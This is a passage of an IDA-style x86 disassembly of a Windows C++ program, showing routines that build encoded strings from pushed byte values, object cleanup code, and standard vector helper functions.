		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		mov	byte ptr [esp+39Ch], 31h
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		mov	byte ptr [esp+390h], 3Ah
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D835F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	byte ptr [esp+370h], 3Eh
		mov	ecx, eax
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		mov	byte ptr [esp+374h], 43h
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		mov	byte ptr [esp+378h], 4Ch
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	byte ptr [esp+370h], 50h
		mov	ecx, eax
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D835F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F40
		push	offset word_4E8E6A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		lea	edx, [esp+44h]
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		lea	edx, [esp+278h]
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E6A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493FD
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493B4
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449290
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449322
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492D9
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44936B
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D835F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44948F
		mov	ecx, offset word_44ACE6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC6E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		mov	byte ptr [esp+358h], 1Ch
		lea	ecx, [esp+2Ch]
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		mov	byte ptr [esp+358h], 1
		lea	ecx, [esp+1E8h]
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401983
		add	eax, edi
